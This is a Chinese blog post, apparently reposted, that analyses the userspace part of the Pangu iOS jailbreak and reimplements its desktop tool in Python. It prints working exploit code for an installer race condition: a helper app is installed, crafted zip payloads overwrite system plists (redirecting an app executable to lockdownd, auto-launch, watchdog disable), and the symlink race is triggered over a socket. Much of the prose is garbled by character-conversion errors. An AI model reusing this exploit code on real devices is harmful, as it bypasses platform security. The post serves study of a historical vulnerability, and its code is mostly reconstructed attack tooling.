盘古越狱工具在用户空间的行为
背景知識(shí)
盤(pán)古在用戶空間主要利用了iOS安裝程序的一個(gè)漏洞,這里先列出安裝一個(gè)應(yīng)用的主要過(guò)程:
整個(gè)安裝過(guò)程分為12個(gè)階段,上圖僅僅是列出了起點(diǎn)、終點(diǎn)還是對(duì)盤(pán)古越獄來(lái)說(shuō)比較重要的階段。大家注意上圖紅線所看到的的時(shí)間區(qū)間。在這個(gè)區(qū)間內(nèi)假設(shè)在“Staging Directory”中創(chuàng)建一個(gè)符號(hào)鏈接指向沙盒之外。就能夠利用解壓程序向系統(tǒng)文件夾寫(xiě)入文件。
同一時(shí)候也能夠通過(guò)控制壓縮包中的文件列表,在起始處放一個(gè)大文件,從而在解壓過(guò)程中創(chuàng)建一個(gè)符號(hào)鏈接。
這是在盤(pán)古在安裝過(guò)程中利用的主要漏洞。后面介紹的盤(pán)古在用戶空間的行為基本都是環(huán)繞這個(gè)漏洞。
基本的組件
盤(pán)古主要由四部分組成。:
1、桌面程序:提供資源,控制越獄流程。
2、com.pangu.ipa1.ipa:Socket Server,與桌面程序配合制造競(jìng)態(tài)條件。
3、pangu.dylib,Socket Server。利用內(nèi)核漏洞安裝Untecher。Cydia等。
4、pangu.tar,Untecher
這里主要涉及的是前兩個(gè)組件。及第三個(gè)組件中用戶空間相關(guān)的部分。
工作流程
說(shuō)明:為了驗(yàn)證自己的分析是正確的,用Python又一次實(shí)現(xiàn)了盤(pán)古桌面程序的功能,利用盤(pán)古的Payload能夠?qū)崿F(xiàn)越獄,以下會(huì)在主要階段給出對(duì)應(yīng)演示樣例代碼。
階段一:安裝輔助程序。獲取相關(guān)資源
1、安裝com.pangu.ipa1.ipa
def install_pangu():lockdown = LockdownClient()afc = AFCClient(lockdown)mci = lockdown.startService("com.apple.mobile.installation_proxy")file_name = "com.pangu.ipa1.ipa"afc.set_file_contents("/PublicStaging/" + file_name, open("payload/" + file_name,"rb").read())mci.sendPlist({"Command":"Install", "PackagePath": "/PublicStaging/" + file_name})while True:status = mci.recvPlist()if not status:breakcompletion = status.get("PercentComplete")if completion:print "Installing, %s: %s %% Complete" % ("com.pangu.ipa1.ipa", status["PercentComplete"])if status.get("Status") == "Complete":print "Installation %s\n" % status["Status"]breakmci.close()afc.stop_session()lockdown.stop_session()首先利用AFC服務(wù)將IPA傳到設(shè)備上,然后利用 Installation Proxy 安裝應(yīng)用。
2、獲取Cache
def download_caches():fc = FileRelayClient()data = fc.request_sources(["Caches"])fc.stop_session()if data:file_path = "./payload/caches.gz"output_path = "./payload/caches"open(file_path,"wb").write(data)print "Data saved to: %s " % file_pathwith open(file_path, "r") as f:gz = gzip.GzipFile(mode="rb", fileobj=f)cpio = CpioArchive(fileobj=BytesIO(gz.read()))cpio.extract_files(files=None,outpath=output_path)else:print "Fail to get caches"raise Exception("Fail to get caches")調(diào)用 FileRelay 服務(wù),獲取Cache,主要是從中拿到 com.apple.mobile.installation.plist
3、改動(dòng) com.apple.mobile.installation.plist
改動(dòng)是針對(duì)盤(pán)古程序的。詳細(xì)改動(dòng)例如以下:
4、改動(dòng)盤(pán)古程序的Info.plist
CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";5、構(gòu)造applicationState.plist
{ "com.pangu.ipa1" = { SBApplicationAutoLaunchForVoIP = :true; }; }這個(gè)會(huì)造成盤(pán)古程序在設(shè)備重新啟動(dòng)后自己主動(dòng)執(zhí)行。6、com.apple.LaunchServices-056.csstore 主要是為了更新程序列表
7、com.apple.backboardd.plist 禁用“看門(mén)狗”
基于上述文件盤(pán)古會(huì)構(gòu)造三個(gè)Payload。
def generate_upgrade_bundle1():guid_str = get_guid()with ZipFile("./payload/upgrade1.zip", "w") as payload:payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")payload.write("./payload/upgrade_bundle/applicationState.plist", "/mobile/Library/BackBoard/applicationState.plist")payload.write("./payload/upgrade_bundle/com.apple.backboardd.plist", "/mobile/Library/Preferences/com.apple.backboardd.plist")payload.write("./payload/upgrade_bundle/Info.plist", "/mobile/Applications/" + guid_str + "/ipa1.app/Info.plist")def generate_upgrade_bundle2():# os.remove("./payload/upgrade2.zip")guid_str = get_guid()with ZipFile("./payload/upgrade2.zip", "w") as payload:payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")def generate_upgrade_bundle3():# os.remove("./payload/upgrade3.zip")guid_str = get_guid()with ZipFile("./payload/upgrade3.zip", "w") as payload:payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")這個(gè)階段會(huì)知道三個(gè)程序升級(jí)包。供下一階段使用。
另外。能夠簡(jiǎn)單的理解為:運(yùn)行完這個(gè)階段就相應(yīng)著盤(pán)古提示用戶在手機(jī)上啟動(dòng)程序。
階段二:利用競(jìng)態(tài)條件安裝文件,構(gòu)造環(huán)境運(yùn)行pangu.dylib
當(dāng)用戶在手機(jī)上啟動(dòng)程序后,手機(jī)上的App會(huì)啟動(dòng)一個(gè)Socket Server,等待桌面程序的握手,這個(gè)握手的暗語(yǔ)挺有意思。桌面向App發(fā)送:PING,App收到后回應(yīng)桌面:PONG。在握手完畢后,盤(pán)古開(kāi)始利用靜態(tài)條件將如上構(gòu)造的三個(gè)Payload安裝到手機(jī)上。
詳細(xì)過(guò)程為首先利用安裝服務(wù)安裝升級(jí)包,在安裝的過(guò)程中桌面向App發(fā)送starthook。詳細(xì)hook的內(nèi)容能夠通過(guò)調(diào)試App確定是創(chuàng)建一個(gè)符號(hào)鏈接:
演示樣例代碼:
def fire_race_condition(lockdown, file_name):mci = lockdown.startService("com.apple.mobile.installation_proxy")sock = get_sock()print "----->PING"sock.send("PING")msg = sock.recv(4)if msg == "PONG":print "<-----PONG\n"upgrade_pangu(mci, file_name)print "----->starthook"sock.send("starthook")msg = sock.recv(4)if msg == "succ":print "<-----success\n"else:print "<-----fail\n"在完畢安裝三個(gè)Payload之后,盤(pán)古會(huì)上傳文件到Media中的 Pangu-Install文件夾:Cydia.tar、packagelist.tar、pangu.dylib、pangu.tar、pangu_ex.tar至此,盤(pán)古基本完畢了用戶空間的行為,在界面上的反應(yīng)為:盤(pán)古會(huì)重新啟動(dòng)設(shè)備。
階段三:利用漏洞安裝Untecher,Cydia
設(shè)備重新啟動(dòng)完畢后,pangu.dylib會(huì)被載入。并啟動(dòng)一個(gè) Socket Server。桌面程序在檢測(cè)到設(shè)備載入后會(huì)向 pangu.dylib 發(fā)送:55AA,pangu.dylib 接到 55AA后開(kāi)始安裝Untecher、Cydia。
階段四:清理
在pangu.dylib完畢工作后,向桌面程序發(fā)送:AA55,桌面程序開(kāi)始清理暫時(shí)文件。刪除Provisional文件,恢復(fù)設(shè)備時(shí)間等操作。
在完畢清理操作后。桌面程序會(huì)第二次重新啟動(dòng)設(shè)備,至此越獄完。
轉(zhuǎn)載于:https://www.cnblogs.com/wzzkaifa/p/7222330.html
總結(jié)
以上是生活随笔為你收集整理的盘古越狱工具在用户空间的行为的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 计算机桌面怎么全屏显示,台式电脑桌面两边
- 下一篇: 围棋规则 斜着连成一条线_进入围棋世界的